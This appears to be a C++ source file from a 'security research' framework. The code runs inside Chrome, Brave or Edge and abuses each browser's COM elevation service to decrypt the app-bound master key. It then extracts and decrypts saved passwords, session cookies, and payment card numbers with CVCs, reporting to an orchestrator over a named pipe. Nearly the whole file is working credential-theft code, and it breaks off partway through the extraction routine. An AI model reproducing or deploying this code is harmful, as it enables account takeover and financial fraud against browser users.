933 lines
37 KiB
C++
933 lines
37 KiB
C++
/*******************************************************************************
|
|
_ ____ ______
|
|
| |/ /\ \ / / ___|
|
|
| ' / \ \ / / |
|
|
| . \ \ V /| |___
|
|
|_|\_\ \_/ \____|
|
|
|
|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
|
|
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
that define these protections.
|
|
|
|
-----------------------------------------------------------------------------
|
|
Author : Marek Wesołowski
|
|
Email : marek@wesolowski.eu.org
|
|
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
Date : 04-09-2025
|
|
|
|
*******************************************************************************/
|
|
|
|
// kvc_crypt.cpp
|
|
#include <Windows.h>
|
|
#include <ShlObj.h>
|
|
#include <wrl/client.h>
|
|
#include <bcrypt.h>
|
|
#include <Wincrypt.h>
|
|
|
|
#include <fstream>
|
|
#include <sstream>
|
|
#include <iomanip>
|
|
#include <vector>
|
|
#include <tlhelp32.h>
|
|
#include <string>
|
|
#include <algorithm>
|
|
#include <memory>
|
|
#include <optional>
|
|
#include <stdexcept>
|
|
#include <filesystem>
|
|
#include <unordered_map>
|
|
|
|
#include "SelfLoader.h"
|
|
#include "winsqlite3.h"
|
|
|
|
#pragma comment(lib, "Crypt32.lib")
|
|
#pragma comment(lib, "bcrypt.lib")
|
|
#pragma comment(lib, "ole32.lib")
|
|
#pragma comment(lib, "shell32.lib")
|
|
|
|
#ifndef NT_SUCCESS
|
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
|
#endif
|
|
|
|
namespace fs = std::filesystem;
|
|
|
|
// Simplified string utilities for essential conversions only
|
|
namespace StringUtils
|
|
{
|
|
// Convert filesystem path to API-compatible string
|
|
inline std::string path_to_string(const fs::path& path)
|
|
{
|
|
return path.string();
|
|
}
|
|
}
|
|
|
|
// COM Interface Protection Levels for Browser Elevation Services
|
|
enum class ProtectionLevel
|
|
{
|
|
None = 0,
|
|
PathValidationOld = 1,
|
|
PathValidation = 2,
|
|
Max = 3
|
|
};
|
|
|
|
// Chrome/Brave Base Elevator Interface - COM interop for browser security services
|
|
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
|
IOriginalBaseElevator : public IUnknown
|
|
{
|
|
public:
|
|
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
|
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
|
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
|
};
|
|
|
|
// Edge Elevator Base Interface - placeholder methods for compatibility
|
|
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
|
|
IEdgeElevatorBase_Placeholder : public IUnknown
|
|
{
|
|
public:
|
|
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
|
|
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
|
|
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
|
|
};
|
|
|
|
// Edge Intermediate Elevator Interface - extends base functionality
|
|
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
|
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
|
|
{
|
|
public:
|
|
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
|
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
|
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
|
};
|
|
|
|
// Edge Final Elevator Interface - complete implementation
|
|
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
|
|
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
|
|
|
|
namespace SecurityComponents
|
|
{
|
|
class PipeLogger;
|
|
|
|
namespace Utils
|
|
{
|
|
// Get Local AppData folder path with comprehensive error handling
|
|
fs::path GetLocalAppDataPath()
|
|
{
|
|
PWSTR path = nullptr;
|
|
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
|
|
{
|
|
fs::path result = path;
|
|
CoTaskMemFree(path);
|
|
return result;
|
|
}
|
|
throw std::runtime_error("Failed to get Local AppData path.");
|
|
}
|
|
|
|
// Base64 decode utility for processing encrypted keys
|
|
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
|
|
{
|
|
DWORD size = 0;
|
|
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
|
|
return std::nullopt;
|
|
|
|
std::vector<uint8_t> data(size);
|
|
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
|
|
return std::nullopt;
|
|
|
|
return data;
|
|
}
|
|
|
|
// Convert binary data to hex string for diagnostic logging
|
|
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
|
|
{
|
|
std::ostringstream oss;
|
|
oss << std::hex << std::setfill('0');
|
|
for (uint8_t byte : bytes)
|
|
oss << std::setw(2) << static_cast<int>(byte);
|
|
return oss.str();
|
|
}
|
|
|
|
// Escape JSON strings for safe output serialization
|
|
std::string EscapeJson(const std::string& s)
|
|
{
|
|
std::ostringstream o;
|
|
for (char c : s)
|
|
{
|
|
switch (c)
|
|
{
|
|
case '"': o << "\\\""; break;
|
|
case '\\': o << "\\\\"; break;
|
|
case '\b': o << "\\b"; break;
|
|
case '\f': o << "\\f"; break;
|
|
case '\n': o << "\\n"; break;
|
|
case '\r': o << "\\r"; break;
|
|
case '\t': o << "\\t"; break;
|
|
default:
|
|
if ('\x00' <= c && c <= '\x1f')
|
|
{
|
|
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
|
|
}
|
|
else
|
|
{
|
|
o << c;
|
|
}
|
|
}
|
|
}
|
|
return o.str();
|
|
}
|
|
}
|
|
|
|
namespace Browser
|
|
{
|
|
// Browser configuration structure for multi-platform support
|
|
struct Config
|
|
{
|
|
std::string name;
|
|
std::wstring processName;
|
|
CLSID clsid;
|
|
IID iid;
|
|
fs::path userDataSubPath;
|
|
};
|
|
|
|
// Get comprehensive browser configurations mapping
|
|
const std::unordered_map<std::string, Config>& GetConfigs()
|
|
{
|
|
static const std::unordered_map<std::string, Config> browser_configs = {
|
|
{"chrome", {"Chrome", L"chrome.exe",
|
|
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
|
|
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
|
|
fs::path("Google") / "Chrome" / "User Data"}},
|
|
{"brave", {"Brave", L"brave.exe",
|
|
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
|
|
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
|
|
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
|
|
{"edge", {"Edge", L"msedge.exe",
|
|
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
|
|
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
|
|
fs::path("Microsoft") / "Edge" / "User Data"}}
|
|
};
|
|
return browser_configs;
|
|
}
|
|
|
|
// Detect current browser process configuration from runtime environment
|
|
Config GetConfigForCurrentProcess()
|
|
{
|
|
char exePath[MAX_PATH] = {0};
|
|
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
|
std::string processName = fs::path(exePath).filename().string();
|
|
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
|
|
|
|
const auto& configs = GetConfigs();
|
|
if (processName == "chrome.exe") return configs.at("chrome");
|
|
if (processName == "brave.exe") return configs.at("brave");
|
|
if (processName == "msedge.exe") return configs.at("edge");
|
|
|
|
throw std::runtime_error("Unsupported host process: " + processName);
|
|
}
|
|
}
|
|
|
|
namespace Crypto
|
|
{
|
|
// Cryptographic constants for AES-GCM decryption operations
|
|
constexpr size_t KEY_SIZE = 32;
|
|
constexpr size_t GCM_IV_LENGTH = 12;
|
|
constexpr size_t GCM_TAG_LENGTH = 16;
|
|
const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
|
|
|
|
// Support for multiple encryption format versions
|
|
const std::string V10_PREFIX = "v10";
|
|
const std::string V20_PREFIX = "v20";
|
|
|
|
// Simple RAII wrapper for BCrypt algorithm handle
|
|
class BCryptAlgorithm
|
|
{
|
|
public:
|
|
BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); }
|
|
~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); }
|
|
operator BCRYPT_ALG_HANDLE() const { return handle; }
|
|
bool IsValid() const { return handle != nullptr; }
|
|
private:
|
|
BCRYPT_ALG_HANDLE handle = nullptr;
|
|
};
|
|
|
|
// Simple RAII wrapper for BCrypt key handle
|
|
class BCryptKey
|
|
{
|
|
public:
|
|
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
|
|
{
|
|
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
|
|
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0);
|
|
}
|
|
~BCryptKey() { if (handle) BCryptDestroyKey(handle); }
|
|
operator BCRYPT_KEY_HANDLE() const { return handle; }
|
|
bool IsValid() const { return handle != nullptr; }
|
|
private:
|
|
BCRYPT_KEY_HANDLE handle = nullptr;
|
|
};
|
|
|
|
// Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats)
|
|
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
|
|
{
|
|
// Auto-detect encryption format version
|
|
std::string detectedPrefix;
|
|
size_t prefixLength = 0;
|
|
|
|
if (blob.size() >= 3)
|
|
{
|
|
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
|
|
{
|
|
detectedPrefix = V10_PREFIX;
|
|
prefixLength = V10_PREFIX.length();
|
|
}
|
|
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
|
|
{
|
|
detectedPrefix = V20_PREFIX;
|
|
prefixLength = V20_PREFIX.length();
|
|
}
|
|
else
|
|
{
|
|
return {};
|
|
}
|
|
}
|
|
else
|
|
{
|
|
return {};
|
|
}
|
|
|
|
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
|
if (blob.size() < GCM_OVERHEAD_LENGTH)
|
|
return {};
|
|
|
|
// Initialize BCrypt AES-GCM cryptographic provider
|
|
BCryptAlgorithm algorithm;
|
|
if (!algorithm.IsValid())
|
|
return {};
|
|
|
|
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
|
|
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
|
|
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
|
|
|
// Generate symmetric key from raw key material
|
|
BCryptKey cryptoKey(algorithm, key);
|
|
if (!cryptoKey.IsValid())
|
|
return {};
|
|
|
|
// Extract cryptographic components from blob
|
|
const uint8_t* iv = blob.data() + prefixLength;
|
|
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
|
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
|
|
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
|
|
|
|
// Configure GCM authenticated encryption parameters
|
|
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
|
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
|
authInfo.pbNonce = const_cast<PUCHAR>(iv);
|
|
authInfo.cbNonce = GCM_IV_LENGTH;
|
|
authInfo.pbTag = const_cast<PUCHAR>(tag);
|
|
authInfo.cbTag = GCM_TAG_LENGTH;
|
|
|
|
// Perform authenticated decryption with integrity verification
|
|
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
|
|
ULONG outLen = 0;
|
|
|
|
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
|
|
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), &outLen, 0);
|
|
if (!NT_SUCCESS(status))
|
|
return {};
|
|
|
|
plain.resize(outLen);
|
|
return plain;
|
|
}
|
|
|
|
// Extract and validate encrypted master key from Local State configuration
|
|
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
|
|
{
|
|
std::ifstream f(localStatePath, std::ios::binary);
|
|
if (!f)
|
|
throw std::runtime_error("Could not open Local State file.");
|
|
|
|
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
|
const std::string tag = "\"app_bound_encrypted_key\":\"";
|
|
size_t pos = content.find(tag);
|
|
if (pos == std::string::npos)
|
|
throw std::runtime_error("app_bound_encrypted_key not found.");
|
|
|
|
pos += tag.length();
|
|
size_t end_pos = content.find('"', pos);
|
|
if (end_pos == std::string::npos)
|
|
throw std::runtime_error("Malformed app_bound_encrypted_key.");
|
|
|
|
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
|
|
if (!optDecoded)
|
|
throw std::runtime_error("Base64 decoding of key failed.");
|
|
|
|
auto& decodedData = *optDecoded;
|
|
if (decodedData.size() < sizeof(KEY_PREFIX) ||
|
|
memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0)
|
|
{
|
|
throw std::runtime_error("Key prefix validation failed.");
|
|
}
|
|
return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()};
|
|
}
|
|
}
|
|
|
|
namespace Data
|
|
{
|
|
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
|
|
|
|
// Function pointer types for extraction operations
|
|
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
|
|
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
|
|
|
|
// Configuration structure for database extraction operations
|
|
struct ExtractionConfig
|
|
{
|
|
fs::path dbRelativePath;
|
|
std::string outputFileName;
|
|
std::string sqlQuery;
|
|
PreQuerySetupFunc preQuerySetup;
|
|
JsonFormatterFunc jsonFormatter;
|
|
};
|
|
|
|
// Pre-query setup for payment cards - loads CVC data
|
|
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
|
|
{
|
|
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
|
|
sqlite3_stmt* stmt = nullptr;
|
|
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
|
|
return cvcMap;
|
|
|
|
while (sqlite3_step(stmt) == SQLITE_ROW)
|
|
{
|
|
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
|
|
if (guid && blob)
|
|
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
|
|
}
|
|
sqlite3_finalize(stmt);
|
|
return cvcMap;
|
|
}
|
|
|
|
// JSON formatter for cookies
|
|
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
|
{
|
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
|
|
if (!blob) return std::nullopt;
|
|
|
|
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
|
|
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
|
|
return std::nullopt;
|
|
|
|
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
|
|
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
|
|
|
|
std::ostringstream json_entry;
|
|
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
|
|
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
|
|
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
|
|
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
|
|
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
|
|
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
|
|
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
|
|
<< "}";
|
|
return json_entry.str();
|
|
}
|
|
|
|
// JSON formatter for passwords
|
|
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
|
{
|
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
|
|
if (!blob) return std::nullopt;
|
|
|
|
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
|
|
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
|
|
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
|
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
|
|
}
|
|
|
|
// JSON formatter for payment cards
|
|
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
|
{
|
|
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
|
|
std::string card_num_str, cvc_str;
|
|
|
|
// Decrypt primary card number
|
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
|
|
if (blob)
|
|
{
|
|
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
|
|
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
|
}
|
|
|
|
// Decrypt associated CVC if available
|
|
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
if (guid && cvcMap && (*cvcMap)->count(guid))
|
|
{
|
|
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
|
|
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
|
}
|
|
|
|
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
|
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
|
|
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
|
|
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
|
|
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
|
|
}
|
|
|
|
// Comprehensive extraction configurations for different browser data types
|
|
const std::vector<ExtractionConfig>& GetExtractionConfigs()
|
|
{
|
|
static const std::vector<ExtractionConfig> configs = {
|
|
// Browser cookie extraction configuration
|
|
{fs::path("Network") / "Cookies", "cookies",
|
|
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
|
|
nullptr, FormatCookie},
|
|
|
|
// Stored password extraction configuration
|
|
{"Login Data", "passwords",
|
|
"SELECT origin_url, username_value, password_value FROM logins;",
|
|
nullptr, FormatPassword},
|
|
|
|
// Payment card information extraction configuration
|
|
{"Web Data", "payments",
|
|
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
|
|
SetupPaymentCards, FormatPayment}
|
|
};
|
|
return configs;
|
|
}
|
|
}
|
|
|
|
// Named pipe communication interface with orchestrator process
|
|
class PipeLogger
|
|
{
|
|
public:
|
|
explicit PipeLogger(LPCWSTR pipeName)
|
|
{
|
|
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
|
}
|
|
|
|
~PipeLogger()
|
|
{
|
|
if (m_pipe != INVALID_HANDLE_VALUE)
|
|
{
|
|
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
|
|
FlushFileBuffers(m_pipe);
|
|
CloseHandle(m_pipe);
|
|
}
|
|
}
|
|
|
|
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
|
|
|
|
// Send diagnostic message to orchestrator
|
|
void Log(const std::string& message)
|
|
{
|
|
if (isValid())
|
|
{
|
|
DWORD bytesWritten = 0;
|
|
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
|
|
}
|
|
}
|
|
|
|
HANDLE getHandle() const noexcept { return m_pipe; }
|
|
|
|
private:
|
|
HANDLE m_pipe = INVALID_HANDLE_VALUE;
|
|
};
|
|
|
|
// Browser configuration and path management
|
|
class BrowserManager
|
|
{
|
|
public:
|
|
BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
|
|
|
|
const Browser::Config& getConfig() const noexcept { return m_config; }
|
|
|
|
// Resolve user data root directory for current browser configuration
|
|
fs::path getUserDataRoot() const
|
|
{
|
|
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
|
|
}
|
|
|
|
private:
|
|
Browser::Config m_config;
|
|
};
|
|
|
|
// Master key decryption service using COM elevation interfaces
|
|
class MasterKeyDecryptor
|
|
{
|
|
public:
|
|
explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger)
|
|
{
|
|
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
|
|
{
|
|
throw std::runtime_error("Failed to initialize COM library.");
|
|
}
|
|
m_comInitialized = true;
|
|
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
|
|
}
|
|
|
|
~MasterKeyDecryptor()
|
|
{
|
|
if (m_comInitialized)
|
|
{
|
|
CoUninitialize();
|
|
}
|
|
}
|
|
|
|
// Decrypt master key using browser-specific COM elevation service
|
|
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath)
|
|
{
|
|
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
|
|
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
|
|
|
// Prepare encrypted key as BSTR for COM interface
|
|
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
|
|
static_cast<UINT>(encryptedKeyBlob.size()));
|
|
if (!bstrEncKey)
|
|
throw std::runtime_error("SysAllocStringByteLen for encrypted key failed.");
|
|
|
|
BSTR bstrPlainKey = nullptr;
|
|
HRESULT hr = E_FAIL;
|
|
DWORD comErr = 0;
|
|
|
|
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
|
|
|
|
// Use Edge-specific COM elevation interface
|
|
if (config.name == "Edge")
|
|
{
|
|
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
|
|
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
|
if (SUCCEEDED(hr))
|
|
{
|
|
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
|
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
|
}
|
|
}
|
|
// Use Chrome/Brave COM elevation interface
|
|
else
|
|
{
|
|
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
|
|
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
|
if (SUCCEEDED(hr))
|
|
{
|
|
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
|
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
|
}
|
|
}
|
|
|
|
// Cleanup and validate COM decryption operation result
|
|
SysFreeString(bstrEncKey);
|
|
|
|
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
|
|
{
|
|
if (bstrPlainKey) SysFreeString(bstrPlainKey);
|
|
std::ostringstream oss;
|
|
oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr;
|
|
throw std::runtime_error(oss.str());
|
|
}
|
|
|
|
// Extract raw AES key bytes from BSTR
|
|
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
|
|
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
|
|
SysFreeString(bstrPlainKey);
|
|
return aesKey;
|
|
}
|
|
|
|
private:
|
|
PipeLogger& m_logger;
|
|
bool m_comInitialized = false;
|
|
};
|
|
|
|
// Browser profile discovery and enumeration service
|
|
class ProfileEnumerator
|
|
{
|
|
public:
|
|
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
|
|
: m_userDataRoot(userDataRoot), m_logger(logger) {}
|
|
|
|
// Discover all browser profiles containing extractable databases
|
|
std::vector<fs::path> FindProfiles()
|
|
{
|
|
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
|
|
std::vector<fs::path> profilePaths;
|
|
|
|
// Check if directory contains extractable database files
|
|
auto isProfileDirectory = [](const fs::path& path)
|
|
{
|
|
for (const auto& dataCfg : Data::GetExtractionConfigs())
|
|
{
|
|
if (fs::exists(path / dataCfg.dbRelativePath))
|
|
return true;
|
|
}
|
|
return false;
|
|
};
|
|
|
|
// Check if root directory qualifies as a profile
|
|
if (isProfileDirectory(m_userDataRoot))
|
|
{
|
|
profilePaths.push_back(m_userDataRoot);
|
|
}
|
|
|
|
// Scan for profile subdirectories with database content
|
|
std::error_code ec;
|
|
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
|
|
{
|
|
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
|
|
{
|
|
profilePaths.push_back(entry.path());
|
|
}
|
|
}
|
|
|
|
if (ec)
|
|
{
|
|
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
|
|
}
|
|
|
|
// Remove duplicates using sort + unique instead of std::set
|
|
std::sort(profilePaths.begin(), profilePaths.end());
|
|
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
|
|
|
|
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
|
|
return profilePaths;
|
|
}
|
|
|
|
private:
|
|
fs::path m_userDataRoot;
|
|
PipeLogger& m_logger;
|
|
};
|
|
|
|
// Database content extraction service using SQLite interface
|
|
class DataExtractor
|
|
{
|
|
public:
|
|
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
|
|
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
|
|
const fs::path& baseOutputPath, const std::string& browserName)
|
|
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
|
|
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
|
|
|
|
// Extract and decrypt data from browser database
|
|
void Extract()
|
|
{
|
|
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
|
|
if (!fs::exists(dbPath))
|
|
return;
|
|
|
|
// Open database with nolock parameter for live extraction without file locking
|
|
sqlite3* db = nullptr;
|
|
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
|
|
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
|
|
|
|
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
|
|
{
|
|
